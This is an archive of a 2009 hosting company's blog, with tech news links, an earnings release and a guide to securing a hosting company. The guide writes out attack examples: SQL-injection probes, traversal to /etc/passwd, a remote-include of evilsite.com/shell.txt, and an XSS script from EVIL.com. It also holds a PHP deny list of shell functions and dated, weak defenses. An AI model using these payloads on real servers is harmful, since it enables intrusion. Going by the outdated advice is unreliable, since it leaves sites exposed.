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March 30, 2009

Technology Update: 03-30-09

Filed under: Internet, Networks, Security Focus, Software, Technology, Telecom — paragonhost @ 5:39 pm

Kaspersky Lab announces the launch of Kaspersky Internet Security 2009 for Ultra-Portables.

http://kasperskyav.blogspot.com/2009/03/kaspersky-lab-launches-comprehensive.html

 

Cymphonix announced Network Revealer

http://cymphonix.blogspot.com/2009/03/cymphonix-provides-free-tool-to-help-it.html

 

Cisco Announces Intent to Acquire Pure Digital Technologies, Makers of Flip Video

http://linksys-works.blogspot.com/2009/03/cisco-announces-intent-to-acquire-pure.html

 

SonicWALL, Inc. , today announced the immediate availability of its new E-Class Email Security Appliance (ESA) ES8300

http://sonic-wall.blogspot.com/2009/03/innovative-email-security-protection.html

 

IT security and control firm Sophos is warning computer users to be on their guard following the discovery of a new large scale malicious spam campaign posing as an email from courier firm DHL.

http://sophos-enterprise.blogspot.com/2009/03/spammers-exploit-dhl-in-another.html

 

Astaro today announced availability of version 2.0 of its Astaro Command Center.

http://astaro-security.blogspot.com/2009/03/astaro-command-center-20-improves-vpn.html

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March 16, 2009

Technology News Updates for 03-16-09

Filed under: Technology — paragonhost @ 10:48 pm

Cisco today announced the Linksys by Cisco Wireless-N Ethernet Bridge with Dual-Band (WET610N), Simultaneous Dual-Band Wireless-N Router (WRT400N), and the Dual-Band Wireless-N Gigabit Router (WRT320N).

http://cisco-products.blogspot.com/

Barracuda Networks Inc. today launched the Barracuda Web Application Firewall 860 and 960

Barracuda Networks Inc. today launched the Barracuda SSL VPN 680

Barracuda Networks Introduces Barracuda Message Archiver 15

http://barracuda-networks.blogspot.com/

Kaspersky Lab introduces KasperskyTM Security for Ultra Portables

http://kasperskyav.blogspot.com/

RocketStream today announced the release of version 1.5 of its popular RocketStream™ file transfer acceleration software.

http://rocketstream.blogspot.com/

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Securing Your Hosting Company

Filed under: Networks, Security Focus, Technology — paragonhost @ 1:11 pm

-= Securing Your Hosting Company =-
– Credits: DeadlyData –

Part I. Your own websites security.

The first step you always want to take to secure your hosting company is to make sure your own website.

Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there. 

Next try any Get Vars in your scripts and put a ‘ at the end of them what I mean is you have = you add ‘ so it’s yourwebsite.com/page?=’ or any other similar thing not only page= you may also try char(39) rather then only ‘ most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ‘ but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote. 
If you get an error you might want to check the script. 

The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc. 

If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)… 
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use 
The following to browse into other places ../../../../ if they wanted to they’d view your passwd file via ../../../../../../etc/passwd 

Well right now you’d say big Woop they got some users maybe not but still have the ability to go to any forum on 
that server and upload an avatar with PHP-EXIF data in it then include it 
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all…

Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts. 

Ok next were going to discuss the abilities of an RFI and how to block it… 
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so 
www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL
http://www.evilsite.com mod_security will block it.

Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this… 

What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn’t really see it… but when you clicked they could potentially grab your cookie or any current stored browser information. 
With this they could use your cookie as their own to login as you… maybe even get password information from this 
cookie…

Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as… 
www.mysite.com/info.php?xss=<script>src=http://EVIL.com/xss.js</script> 
Never click it what so ever… ban the person who has sent this. 

Ok now for the mod_security bans… add <script> add <body= add </script> add “> 
And this should fix your XSS problems that can actually cause damage…

As for SQL injection the way to block this is to… add ‘ or /* to the mod security be sure to add in char(39) as it’s ‘ in php and php will in fact read it from a URL and interpret it as ‘ and still launch the sql injection.

One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once. 

Zend should fix this problem. 

Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.


Part II. Your Employees


RULE-1 -PASSWORDS

Do not use password even more then once on your servers if you do the first time some one gets your password to any 
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company…

RULE-2 -PHONE CHATS
Always request a person’s information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.

RULE-3 -Email CHATS
This one is a bit easier there is no emotion to what the person is trying to do…
If they slip up on one peace of information be sure to email them back and ask them to correct it before even 
Sending any thing back or touching any thing.

RULE-4 -Talking to each other
While talking to each other in public services.. or services that my be able to be taped such as an IRC…
Be sure not to mention any root passwords, client names, etc…

Part III. Securing Your Server

Ok well first were going to do the obvious and CHMOD /home to 755

This is simple just go ahead and type chmod 755 /home 
Or
CD /
chmod 755 home

Next were going to make sure no user has any bash access what so ever.

This may already be setup by the current hosting control panel you are using…
If not were going to nano /etc/passwd and make sure all Linux users that you don’t want having bash are set to 
/sbin/nologin

I realize some hosting companies also do dedicated server companies so it wouldn’t work out if your client didn’t have 
bash to the server.
So this is mainly based for the shared hosting servers.

Part IV. PHP Configuration.


Now were going to do some things to PHP.ini
usr/local/lib/php.ini
^ On Most Systems
safe_mode = On
safe_mode_gid = Off
open_basedir = directory [:...]
safe_mode_exec_dir = directory [:...]
expose_php = Off
register_globals = Off
display_errors =Off
log_errors = On
error_log = filename
magic_quotes=On
disable_functions = show_source, system, shell_exec, passthru, exec, 
phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminat
e
 

Some explanations of the functions your disabling.

show_source(), Disables functions most shells use to view the source of other files one commonly 
c99, ModfiedC99 (c100), ModfiedC99(x2300)
phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you don’t 
want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to 
date.
system, Allows Bash Commands Via PHP

shell_exec, Allows Bash Commands via PHP

exec, Allows Bash Commands Via PHP

popen, Almost like Bash not quite but close using PHP

proc_open, Almost like bash not quite but close using PHP

base64_decode, decodes base64 encryptions… reason for disabling also allows users with server access to bypass mod security

base64_encode, encodes base64 encryptions… reason for disabling also allows users with server access to bypass mod security

proc_terminate, Terminates Processes running on the server.

Some reasons for having magic quotes on, it disables most nullbyte attempts (%00)
And will stop a small majority of SQL injections.


Part V. MySQL and Apache Configurations


Disable all out bound MYSQL connections…

Besides from Trusted Servers

This may actually be set in the host’s field of the users in the actual MYSQL table, for each user account it lets you 
Give them an IP or type any I’d recommend giving them an IP…
Although when you give them and IP don’t worry it’s not that you can only have one IP able to access that user you 
do in fact have the ability to recreate the user
over and over and fill in the IP field differently each time.

Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID

A reference Document on how to do this can be found here.

http://httpd.apache.org/docs/1.3/suexec.html

Comments:
What this will do with apache is pretty much make sure that the users can’t access other users directories on the 
Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same 
server… this protects against it. All though apache is running under each user using SuEXEC would solve that problem.


Part VI. SSH Keys.

It’s not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.

A tutorial on how to do this can be found here:

http://www.sun.com/bigadmin/content/submitted/ssh_setting.html 

If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.

There are some references for this located here 

http://linux.about.com/od/commands/l/blcmdl5_hostsal.htm

And here 

http://www.userlocal.com/security/securinginetdetc.php


Part VII. BackDoor-Trojan-Rootkit Proctection & FireWall Setup


Down To The Back Door Protection 

In the even some one gets access to your server even with all the security you’ve gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,

So what exactly are some things you can do to prevent this if not stop it. 

Well I honestly don’t think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.

But you can stop or remove them once their on your system, or prevent them from being ran. 

What all can a person do just by having the ability to upload a file.
Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.

At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process. 

Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.

Trojans & Viruses on Linux aren’t too much of a worry as there aren’t too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system. 

Now a couple things I’ve researched on that can help prevent this.


Root Kit Hunter.

Description:

Root kit scanner is scanning tool to ensure you for about 99.9%* you’re clean of nasty tools. This tool scans for 
Root kits, backdoors and local exploits by running tests like: 

- MD5 hash compare
- Look for default files used by root kits

- Wrong file permissions for binaries
- Look for suspected strings in LKM and KLD modules
- Look for hidden files
- Optional scan within plaintext and binary files

——-
Comments:
I highly recommend Root Kit Hunter.

Download

http://www.rootkit.nl/projects/rootkit_hunter.html

Clam Antivirus

Description:

* Command-line scanner
* Fast, multi-threaded daemon with support for on-access scanning
* milter interface for sendmail
* advanced database updater with support for scripted updates and digital signatures
* virus scanner C library
* on-access scanning (Linux and FreeBSD)
* virus database updated multiple times per day (see home page for total number of signatures)
* built-in support for various archive formats, including Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM, 
BinHex, SIS and others
* built-in support for almost all mail file formats
* built-in support for ELF executables and Portable Executable files compressed with UPX, FSG, Petite, NsPack, 
wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others
* built-in support for popular document formats including MS Office and Mac Office files, HTML, RTF and PDF
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Comments:
Honestly I’d recommend this even when using Mod-Security I’ve built shells that will in fact bypass modsecurity well 
this well scan the source codes of the PHP shell
and make sure thereï؟½s nothing that could potentially harm or allow the user to have to much access over the system.


Download

http://www.clamav.net/download/

Banning The Brute Forcers, FTP, SSH, etc.

APF (Advanced Policy Firewall)
 

Description: 

Rather then grabbing this one off their site I figured I’d write one. 

Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.

Allows alot of configuration options some of which may also benfit in bandwidth saving and DDoS prevention, 
Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems.
Then this will block it from connecting back to them and them connecting back to it.

Comments:
I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward.
To make sure every one has the ability to get into their teamspeaks, 

Some commands that can be used with this Firewall just incase you decide to use it.

Banning an IP
apf -d IP

Unbanning an IP
apf -u IP

I recommend ignoring your own IP in the 

/etc/apf/allow_hosts.rules 

Using the following syntax you can ignore your IP from all firewall rules meaning you don’t follow them.

d=PORT:d=IP // ENABLES YOUR IP COMMING IN ON THE PORT
out:d=PORT:d=IP // ENABLES YOUR IP GOING OUT ON THE PORT

For ranges you may do the following 192.168.1.1/255

It will then forward from 192.168.1.1 to 192.168.1.255 to be enabled


Download

http://www.r-fx.ca/downloads/apf-current.tar.gz


Part VIII. DDoS Protection and Saving Bandwith + Remote Loging.

Server Monitoring Remotely

Log Watch

Description: 

An application that runs twenty-four seven on your server and sends the following things after going through them to your email.
-Apache_Access Logs

-Apache_Error Logs
-SSH_LOGIN’s Failed Or Succeeded
-FTP Logs
-Mail Logs
-Current HDD Sizes
-Kernel Logs
-Mail Logs
-Yum/APT-GET Logs

Comments:
This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc.
The only main requirement is that you have SendMail Running.

Mail Spam Protection

Spam Assassin

Description:

The core distribution consists of command line tools to perform filtering along with Mail:pamAssassin, a set of Perl modules which allow SpamAssassin to be used in a wide range of products.

Comments:
Never used it my self because I’ve never really had to bad of mail spam problems on my server but from what I’ve 
read it is in fact pretty good at filtering out the spam in your emails.


Download

http://spamassassin.apache.org/downloads.cgi?update=200705021400 


Some Extra Mail Protection


Be sure that your mail-server only allows your Server to use it or any other servers you may trust and deny all 
others
many people will attempt to use open mail servers and spam resources.


DDoS Protection & Bandwidth Saving.

 
Ok first off some things people might do while DDoSing you.

Unless theDDoS attack is very strong I highly doubt it will take your whole server offline most DDoS attacks will mainly hit their targets port
in most cases their target would be Apache, but in other cases maybe even a teamspeak it’s a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in APF 

But a basic thing you can do is have APF installed drop all ICMP packets. This will disable the ability to ping your server.
Next Install DDoS Deflate


DDoS Deflate

Comments/Description:
From my own experience an well written Perl Script that was made to run along with APF and monitor how many times an 
IP is connected to your server before it bans it you may also run it manually typing the following in shell.

ddos Number Of Connections Allowed 

When this is typed the Perl script will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.


More Information can be found on this at

http://blog.medialayer.com/projects-ddos-deflate/

—-
Download
—-
http://www.inetbase.com/scripts/ddos/

Ok now for bandwidth saving and DDoS protection at the same time there is this really cool thing made for apache servers it’s called mod_evasive
It will limit the number of connections a person may open with apache and if they open to many it will ban them for what ever time you specify in the config.


mod_evasive

 

Detailed Description:
mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.

Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following:
* Requesting the same page more than a few times per second
* Making more than 50 concurrent requests on the same child per second
* Making any requests while temporarily blacklisted (on a blocking list) 

This method has worked well in both single-server script attacks as well as distributed attacks, but just 
like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why it’s a good idea to integrate this with your firewalls and routers for maximum protection.

This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on ‘reload’ should not be affected 
Unless they do it maliciously. mod_evasive is fully tweak able through the Apache configuration file, easy to 
Incorporate into your web server, and easy to use.

 Comments:
This is a module I have in fact used with Apache before it honestly can get annoying if you configure it incorrectly 

because you will be simply visiting the website and get banned.


Download/Install Tutorial

Sources:
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Hope you learned something, and benefited your server..

Have a good day!

March 12, 2009

NaviSite Reports Second Quarter Fiscal Year 2009 Financial Results

Filed under: Internet, NaviSite.com, Networks, Stocks, Technology — paragonhost @ 2:51 pm
PRESS RELEASE
NaviSite Reports Second Quarter Fiscal Year 2009 Financial Results

Total Revenue of $37.7 million and EBITDA $8.8 million

Last update: 4:05 p.m. EST March 5, 2009
ANDOVER, Mass., Mar 05, 2009 (BUSINESS WIRE) — NaviSite, Inc. (NAVI:

– Total revenue for the quarter ended on January 31, 2009 was $37.7 million, representing a year-over-year decrease of 3% and sequential decrease of 6% due to the continued and anticipated decrease in our professional services revenue in the quarter
– Enterprise Hosting revenue which includes the recurring portion of Application Services revenue was $35.3 million for the second quarter representing a year-over-year increase of 6% and flat sequentially due to the negative effects of foreign exchange on revenues from our UK subsidiary of approximately $0.7 million for the second quarter compared to the first quarter of fiscal 2009
– Income from operations for the second quarter was $1.6 million representing a 16% year-over-year increase and a sequential increase of 185%
– EBITDA, excluding stock-based compensation, severance, costs related to discontinued operations, and other non-operational charges (“EBITDA”), for the second quarter was $8.8 million representing a year-over-year increase of 3% and a sequential increase of 2%
– Net loss attributable to common stockholders for the second quarter was $3.3 million, or $0.09 per share as compared to a net loss attributable to common stockholders of $2.9 million and a loss per share of $0.08 in the previous year
– Cash provided from operating activities for the second quarter of fiscal year 2009 was $2.5 million
“Although total revenue was down sequentially from the first quarter, our core Enterprise Hosting revenue showed positive growth after taking into consideration the negative impact of the strengthening dollar against the British Pound and EBITDA increased from the prior quarter.” said Arthur Becker, Chief Executive Officer of NaviSite.
Quarterly Business Highlights
– Booked approximately $0.7 million of new monthly recurring hosting revenue (MRR) in the second quarter of fiscal year 2009, an increase from the $0.6 million booked in the first quarter of fiscal year 2009
– Signed $18.9 million of total hosting contract value with an average contract term of 27 months during the second quarter for recurring applications services and enterprise hosting business compared to $12.6 million of hosting contract value bookings in the previous quarter
– Signed professional services contracts with a total value of $0.8 million during the second quarter of fiscal year 2009 compared to $5.9 million in the second quarter of fiscal year 2008 and $3.0 million in the prior quarter
– Customer churn, defined as the loss of a customer or a reduction in a customer’s monthly revenue run rate from our overall active customer pool, was 1.0% per month during the quarter compared to 1.4% in the prior quarter and 1.5% a year ago.
Guidance:
NaviSite will provide guidance for the third quarter of fiscal year 2009 on its earnings call.
Conference Call Scheduled for March 5, 2009
NaviSite, Inc. Chief Executive Officer, Arthur Becker, and Chief Financial Officer, Jim Pluntze will host a conference call on Thursday March 5, 2009 at 5:00 p.m. Eastern Time to discuss the Company’s results for its second quarter of fiscal year 2009.
NaviSite’s conference call can be accessed by dialing 866.804.6928 (International: 857.350.1674) and entering passcode 62521877. Alternatively, participants can listen to a live webcast of the call available through NaviSite’s website at http://navisite.com/investors/events. A replay of the call will be accessible following the conference call by dialing 888-286-8010 (International: 617-801-6888) and using passcode 56246027.
EBITDA:
EBITDA is not a recognized measure for financial statement presentation under United States generally accepted accounting principles (U.S. GAAP). The Company believes that the non-GAAP measure of EBITDA provides investors with a useful supplemental measure of the Company’s actual and expected operating and financial performance by excluding the impact of interest, taxes, depreciation and amortization. The Company also excludes impairment costs, stock-based compensation, severance, discontinued operations, and other non-operational charges from its non-GAAP measure, as such items may be considered to be of a non-operational nature. EBITDA does not have any standardized definition and therefore may not be comparable to similar measures presented by other reporting companies. Management uses EBITDA to assist in evaluating the Company’s actual and expected operating and financial performance. These non-GAAP results should not be evaluated in isolation of, or as a substitute for, the Company’s financial results prepared in accordance with U.S. GAAP. A table reconciling the Company’s net loss, as reported, to EBITDA is included in the condensed consolidated financial statements in this release. The Company believes that using EBITDA as a performance measure, together with net loss, will help investors better understand the Company’s underlying financial performance.
About NaviSite
NaviSite is a leading provider of enterprise hosting and application solutions. Customers depend on NaviSite for managed application services, application development, implementation and management on its web infrastructure platforms in 16 state-of-the-art data centers supported by more than 650 professionals. NaviSite provides customized and scalable solutions leveraging its broad range of application development capabilities, packaged software implementation expertise, deep portfolio of best in class technologies and a full suite of web-hosting and internet infrastructure options. For more information, please visit www.navisite.com.
This release contains forward looking statements, which address a variety of subjects including the expected future operating and financial results, including profitability, revenue growth and EBITDA, success and performance of NaviSite’s product and service offerings, and NaviSite’s strategic business plans for growing its customer base and increasing sales. All statements other than statements of historical fact, including without limitation those with respect to NaviSite’s goals, plans and strategies set forth herein, are forward-looking statements. The following important factors and uncertainties, among others, could cause actual results to differ materially from those described in these forward looking statements: general economic conditions and changes in economic conditions; NaviSite’s success, including its ability to improve its gross profit, improve its cash flows, expand its operations and revenue, and reach and sustain profitability, depends on its ability to execute on its business strategy and the continued and increased demand for and market acceptance of its products and services; the possibility that financial forecasts of the Company may not be achieved, including those as to expected EBITDA and revenue, or an inability to realize expected synergies or make expected future investments in NaviSite’s businesses or NaviSite may be unable to raise the necessary funds to meet its payment obligations to its lending group under its senior secured credit facility and other creditors; NaviSite’s management may face strain on managerial and operational resources as they try to oversee the expanded operations; NaviSite may not be able to expand its operations in accordance with its business strategy; NaviSite may experience difficulties integrating technologies, operations and personnel in accordance with its business strategy; NaviSite’s acquisition of companies and businesses may not produce expected cost savings, operational efficiencies or revenue; NaviSite’s products, technologies, and resources may not successfully operate with the technology, resources and/or applications of third parties; NaviSite derives a significant portion of its revenue from a small number of customers and the loss of any of those customers could significantly damage NaviSite’s financial condition and results of operations; and increased competition and technological changes in the markets in which NaviSite’s competes. For a detailed discussion of cautionary statements that may affect NaviSite’s future results of operations and financial results, please refer to NaviSite’s filings with the Securities and Exchange Commission, including NaviSite’s most recent Annual Report on Form 10-K and its Quarterly Reports on Form 10-Q. Forward-looking statements represent management’s current expectations and are inherently uncertain. We do not undertake any obligation to update forward-looking statements made by us. All logos, company and product names may be trademarks or registered trademarks of their respective owners.
NaviSite Financial Tables
Net Loss to EBITDA Reconciliation
                                                                     For the Three Months Ended
                                                                     January 31, 2009   January 31, 2008
                                                                     ---------------------Unaudited---------------------
                                                                     ------------------(In thousands)------------------
Net loss, as reported                                                $       (2,491  )  $       (2,139  )
Depreciation                                                                 4,010              3,186
Interest income/expense, net                                                 3,738              2,947
Income taxes                                                                 499                500
Amortization                                                                 1,832              2,208
EBITDA                                                                       7,588              6,702
Stock based compensation                                                     768                1,271
Severance                                                                    114                113
Discontinued operations                                                      50                 237
Transaction fees, integration costs, settlements                             257                228
EBITDA (excludes impairment costs, stock based compensation,         $       8,777      $       8,551
severance, discontinued operations, loss on debt extinguishment and
transaction fees, integration costs and settlements)
                                                                     For the Six Months Ended
                                                                     January 31, 2009   January 31, 2008
                                                                     ---------------------Unaudited---------------------
                                                                     ------------------(In thousands)------------------
Net loss, as reported                                                $       (5,038  )  $       (6,509  )
Depreciation                                                                 8,047              5,855
Interest income/expense, net                                                 6,778              5,490
Income taxes                                                                 998                913
Amortization                                                                 3,670              3,926
EBITDA                                                                       14,455             9,675
Stock based compensation                                                     1,737              2,508
Severance                                                                    645                275
Discontinued operations                                                      67                 551
Loss on debt extinguishment                                                  -                  1,651
Transaction fees, integration costs, settlements                             485                790
EBITDA (excludes impairment costs, stock based compensation,         $       17,389     $       15,450
severance, discontinued operations, loss on debt extinguishment and
transaction fees, integration costs and settlements)

NaviSite Financial Tables
Condensed Consolidated Statements of Operations
                                                                       For the Three Months Ended                            For the Six Months Ended
                                                                       January 31, 2009   January 31, 2008                   January 31, 2009   January 31, 2008
                                                                       ---------------------Unaudited---------------------   ---------------------Unaudited---------------------
                                                                       (In thousands, except per share amounts)              (In thousands, except per share amounts)
Revenue                                                                $       37,548     $       38,831                     $       77,326     $       74,863
Revenue, related parties                                                       111                72                                 194                147
Total revenue                                                                  37,659             38,903                             77,520             75,010
Cost of revenue, excluding stock compensation, restructuring,                  19,650             21,098                             41,002             41,401
depreciation and amortization
Depreciation and amortization                                                  5,669              5,216                              11,372             9,403
Stock compensation                                                             312                636                                691                1,191
Restructuring charge                                                           (5      )          -                                  209                -
Cost of revenue                                                                25,626             26,950                             53,274             51,995
Gross profit                                                                   12,033             11,953                             24,246             23,015
Operating expenses:
Selling and marketing, excluding stock compensation and restructuring          4,687              4,936                              9,945              9,848
General and administrative, excluding stock compensation,                      5,262              4,983                              10,593             10,092
restructuring and transaction fees
Stock compensation                                                             456                635                                1,046              1,316
Restructuring charge                                                           (82     )          -                                  180
Transaction fees                                                               146                56                                 370                140
Total operating expenses                                                       10,469             10,610                             22,134             21,396
Income from operations                                                         1,564              1,343                              2,112              1,619
Other income (expense):
Interest income                                                                21                 63                                 25                 177
Interest expense                                                               (3,759  )          (3,010  )                          (6,803  )          (5,667  )
Loss on debt extinguishment                                                    -                  -                                  -                  (1,651  )
Other income (expense), net                                                    232                202                                693                477
Loss from continuing operations before income taxes and discontinued           (1,942  )          (1,402  )                          (3,973  )          (5,045  )
operations
Income taxes                                                                   (499    )          (500    )                          (998    )          (913    )
Loss from continuing operations before discontinued operations                 (2,441  )          (1,902  )                          (4,971  )          (5,958  )
Discontinued operations, net of income taxes                                   (50     )          (237    )                          (67     )          (551    )
Net loss                                                                       (2,491  )          (2,139  )                          (5,038  )          (6,509  )
Accretion of preferred stock dividends                                         (825    )          (736    )                          (1,627  )          (1,120  )
Net loss attributable to common stockholders                           $       (3,316  )  $       (2,875  )                  $       (6,665  )  $       (7,629  )
Basic and diluted net loss per common share:
Loss from continuing operations before discontinued operations         $       (0.09   )  $       (0.07   )                  $       (0.19   )  $       (0.20   )
available to common shareholders
Loss from discontinued operations, net of income taxes                         (0.00   )          (0.01   )                          (0.00   )          (0.02   )
Net loss attributable to common stockholders                           $       (0.09   )  $       (0.08   )                  $       (0.19   )  $       (0.22   )
Basic and diluted weighted average number of common shares                     35,457             34,927                             35,401             34,422
outstanding

NaviSite Financial Tables
Condensed Consolidated Balance Sheets
                                                                   January 31, 2009   July 31, 2008
ASSETS                                                             --------------------Unaudited--------------------
                                                                   -----------------(In thousands)-----------------
Current assets:
Cash and cash equivalents                                          $       2,958      $       3,261
Accounts receivable, less allowance for doubtful accounts of $918
and $897 at January 31, 2009 and July 31, 2008, respectively
                                                                           19,719             18,927
Unbilled accounts receivable                                               1,644              1,711
Prepaid expenses and other current assets                                  7,216              11,557
Total current assets                                                       31,537             35,456
Non-current assets                                                         132,733            140,257
Total assets                                                       $       164,270    $       175,713
LIABILITIES AND STOCKHOLDERS'
EQUITY (DEFICIT)
Current liabilities:
Notes payable, current portion                                     $       5,987      $       6,100
Capital lease obligations, current portion                                 3,348              3,166
Accounts payable                                                           5,173              7,033
Accrued expenses, deferred revenue, deferred other income and
customer deposits
                                                                           18,081             17,499
Total current liabilities                                                  32,589             33,798
Total non-current liabilities                                              127,676            133,158
Total liabilities                                                          160,265            166,956
Preferred stock                                                            29,156             27,529
Total stockholders' equity (deficit)                                       (25,151 )          (18,772 )
Total liabilities and stockholders' equity (deficit)               $       164,270    $       175,713

NaviSite Financial Tables
Condensed Consolidated Statements of Cash Flows
                                                     For the Three Months Ended
                                                     January 31, 2009   January 31, 2008
                                                     ---------------------Unaudited---------------------
                                                     ------------------(In thousands)------------------
Net cash provided by (used for) operating activities $       2,517      $       (1,191  )
Net cash used for investing activities                       (2,543  )          (2,930  )
Net cash provided by (used for) financing activities         (1,873  )          3,755
Net cash used for discontinued operations                    (21     )          (208    )
Effect of exchange rate changes on cash                      (142    )          -
Net increase (decrease) in cash                              (2,062  )          (574    )
Cash and cash equivalents, beginning of period               5,020              5,479
Cash and cash equivalents, end of period             $       2,958      $       4,905
                                                     For the Six Months Ended
                                                     January 31, 2009   January 31, 2008
                                                     ---------------------Unaudited---------------------
                                                     ------------------(In thousands)------------------
Net cash provided by (used for) operating activities $       12,054     $       (1,106  )
Net cash used for investing activities                       (6,280  )          (28,352 )
Net cash provided by (used for) financing activities         (5,727  )          23,156
Net cash used for discontinued operations                    (9      )          (494    )
Effect of exchange rate changes on cash                      (341    )          -
Net increase (decrease) in cash                              (303    )          (6,796  )
Cash and cash equivalents, beginning of period               3,261              11,701
Cash and cash equivalents, end of period             $       2,958      $       4,905
SOURCE: NaviSite, Inc.
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March 9, 2009

What is GRID Hosting Technology?

Filed under: Internet, Networks, Security Focus, Technology, Telecom — paragonhost @ 12:55 pm

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Part of our infrastruture that powers ParagonHost and TheSpamBusters use’s Grid Technology from Media Temple. Here is a bit of “Tech” info on the Methodology of this Technology.

Anatomy of Storage on the GRID

March 6th, 2009 at 6:06 pm

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A road to better transparency

Customers may remember that early generations of the GRID required significant changes to the way MySQL operated. The initial uptime on this service segment was not very good. Ultimately we solved the database problems and our discoveries led to the development of some highly unique auto-scaling technology. The series of events led us to become more transparent and write the article “Anatomy of MySQL,” which helped our customers understand our systems much better. We also made a full commitment to our Incident Status System, which has now tracked over 200 public-facing incidents.

We have been successful at improving transparency, but our customers are asking for more information. We intend to provide it. While our incidents have delivered a better level of accountability, they have fallen short in satisfying the deeper concerns our customers have regarding the ongoing storage problems.

Our oldest customers (the ones who tend to be early adopters and our most loyal) have been the group most seriously affected by the storage issues of our 1st-generation architecture. This doesn’t make us happy. Our original transition agenda has not worked out as planned and there have been many factors delaying us from migrating these customers to technology that is reliable.

We’d like to help you understand what’s going on now.

1st Generation vs. 2nd Generation

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(mt) caters to intense customers so our storage systems need as much performance as possible. For the original GRID storage architecture we selected BlueArc’s Titan hardware, which continues to power our 1st-generation Clusters 1 and 2. Beginning with Clusters 3, 4, and 5 (mt) chose Sun Thumper and Thor equipment.

1st-Generation Architecture

(where last weekend’s incident occurred)

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At the time, BlueArc Titan was the fastest storage technology available. Our research indicated that the system was extremely redundant internally — every cable, controller, disk, and front-end head was cloned. However, even with all of the failover protection we still had numerous issues with instability and crashes in firmware. Because every component is redundant, we assumed the system was protected from failures — however, there are 3 major reasons why, in our opinion, downtime still occurs.

  1. Unreliable Failover
    In the case of a crash, our experience was that failover took an exceptionally long time (5-10 minutes.) Some of the crashes, such as the one last weekend, exhibited extra issues. Our assessment is that the bug that caused the first HEAD to crash (in this case, a corrupted filesystem) would cause the second HEAD to crash as well, essentially bringing the redundant system fully offline. This is not cheap equipment — we expected it to work.
  2. Lack of OS Independence
    Originally we created a massive storage pool to serve both the cluster node operating system as well as User Data. Our design trusted this safe coupling because of the internal redundancies inherent in the BlueArc Titan. This also served an efficiency goal by reducing each cluster’s power footprint. In the end, when there were storage problems, every public-facing server had a high crash probability. Engineers would have to address both storage issues along with cluster node recovery. This design was a mistake on (mt)’s part and the practice has been replaced with a much better method.
  3. Complicated Upgrades & Maintenance
    The firmware version in our BlueArc Titan makes upgrades take an extremely long time and require full-cluster downtime. This has led to maintenance windows far longer than we (or you) want for your services.

